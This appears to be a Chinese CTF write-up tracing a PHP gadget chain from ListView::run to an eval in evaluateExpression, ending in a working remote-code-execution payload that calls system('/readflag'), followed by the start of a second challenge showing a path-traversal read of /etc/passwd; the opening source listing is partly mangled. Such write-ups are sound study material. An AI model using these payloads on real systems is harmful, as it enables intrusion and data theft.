给了源码:
$value)
$object->$name=$value;
$object->run();
}
}
new Action($action,$properties);
?>
这里创建了一个未定义的类,在实例时会从/class
目录下寻找,通过foreach循环对属性进行赋值,最后调用run方法。
附件给出了class目录文件
先看看Base.php
这里evaluateExpression函数中有eval和回调函数,很危险,我们最终目的应该就是调用函数进行命令执行
继续审计,run方法是在ListView中定义:
跟进一下:
preg_replace_callback — 执行一个正则表达式搜索并且使用一个回调进行替换。再看到renderSection
那么调用链很清晰,通过ListView::run->ListView::renderContent->ListView::renderSection
我们可以调用TestView类的任意方法,需要注意的是由于正则匹配的模式,我们需要令$this->template = "{TableBody}"
才能正确执行。接下来进入TestView类:
这里需要设置$data
的值才能进入renderTableRow
该方法中由于$this->rowHtmlOptionsExpression
可控,我们可以进入到evaluateExpression方法,这里又回到开头
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
return eval('return '.$_expression_.';');
}
else
{
$_data_[]=$this;
return call_user_func_array($_expression_, $_data_);
}
}
$_expression_
是我们传入的$this->rowHtmlOptionsExpression
参数,之后进入eval函数就可以实现命令执行。
payload:
GET: /?action=TestView
POST:
properties[template]={TableBody}&properties[rowHtmlOptionsExpression]=var_dump(system('/readflag'));&properties[data][1]=123
给了dockerfile

简单测试一下上传,发现上传的文件都被转化成png格式,这里猜测可能有phar反序列化
先看一下源码,edit.php很可疑
尝试一下任意文件读取,我们先上传一个payload再访问头像
png=../../../../../../etc/passwd&flag=1
成功,接下来读一下源码
upload.php
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?